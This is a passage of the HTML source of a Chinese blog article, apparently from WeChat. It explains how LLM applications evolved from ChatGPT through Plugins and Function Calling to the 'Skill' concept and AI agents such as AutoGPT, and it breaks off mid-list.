1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在前两篇文章当中，我曾经提到过，AI有两个非常重要的时间节点，第一个是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">chatgpt的初诞生</span></strong><span leaf="">，它意味着AI与人类交流沟通的屏障解开了，我们可以通过对话和大模型沟通并让他理解我们的需求。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• chatgpt打通了人和AI的壁垒</span></p></li></ul><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"><span leaf="">img</span></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在这个时间节点，大部分场景我们</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">只能依赖prompt</span></strong><span leaf="">，提示词工程来一定程度的定向提高大模型的能力，虽然我觉得并没有什么卵用。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"><span leaf="">img</span></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">第二个关键的时间节点，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">gpt4在2023年初推出了Plugins功能</span></strong><span leaf="">，并且在2023年6月推出了</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Function Calling函数调用功能</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这意味着给给大脑接上了手和脚，大模型不再受限于自己提前训练的数据集，他可以</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">主动调用其他工具收集信息</span></strong><span leaf="">，尤其是联网功能，大幅度提高了大模型的实用价值。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• ChatGPT Plugins的诞生</span></p></li></ul><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">其实plugins和Function Calling功能，就是Skill的雏形。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Skill的本质其实就是，把某些特定的场景和解决方案收束成一个skill（技能），给予他一个触发条件，只有触发该条件才会读取这个Skill的内容并按照要求执行下去</span></strong><span leaf="">。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">Skill的概念可以说是大模型应用非常核心的一部分，首先它拥有完全符合AI应用理念的特征，还能契合当前AI应用的实际场景。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Skill本身独立于大模型外，不需要训练基础LLM</span></strong><span leaf="">，即插即用，还可以长期积累，符合AI学习成长的理念</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 只有触发才加载对应的skill，既</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">节省不必要的上下文浪费</span></strong><span leaf="">，又可以在有需求的情况下及时引入必要的提示词和流程要求</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">一个非常有名的Skill叫做Skill Creator，调用它会辅助你构建一个Skill</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">现在主流的AI应用中，一般都对Skill做了专门的调度单元逻辑，甚至现在很多内置的功能都会通过skill的方式实现。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">比如说</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">claude code和codex</span></strong><span leaf="">，内置了</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">十几种skill涉及大量和底层交互的场景</span></strong><span leaf="">，会在必要时触发</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000663" data-ratio="0.8769230769230769" title="null" data-type="png" data-w="585" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7b14d7d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtvrwTStug29WQmRpYwFbokKngczyt8IibDZU2YNrGBgDHpGRm9Nk3XdGbT9XicaWv9f69SNQKrROeJcz94kmxTIia5PqFbTVrRufI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">现代的skill范式</span></strong><span leaf="">也越来越趋近于标准，从输入到执行流程，内置脚本，最后到输出的内容，都有相应的要求。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我个人觉得skill最大的问题是，可拓展性不够强，当你的skill少的时候，你描述触发的场景大体上比较稳定，但是如果skill太多，llm就很难判定触发了，经常会自己动手，某种程度上也符合人脑会混乱的事实。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">比较理想的AI应用往往不会安装太多的Skill，是现在的一种解决方案。</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">什么是Agent？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果说skill对于AI应用更多是理念上的进步，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Agent和相应的概念更像是使用方法的进步</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在GPT-4诞生没几个月，在Plugins和Function Calling的基础上，社区爆发了大量的衍生项目，其中最有代表性的就是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">AutoGPT</span></strong><span leaf="">。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">AutoGPT这类的应用引出了一个进阶的AI概念就是，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">我们可以把任务目标抽象成好多个步骤，由好多个独立的实体相互配合完成</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">你可以理解为，每个独立的AI agent就是一个独立的人，原本我们是让一个人完成一个工作，这对这个人的能力就有非常高的要求。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">现在我们用很多人分工去完成任务，可以把一个任务拆解成很多步骤，每个agent独立完成自己的事情。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">有个形容我觉得比较贴切，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Agent就是让AI从工具变成了员工</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">Agent概念同样解决了LLM的几个大痛点</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 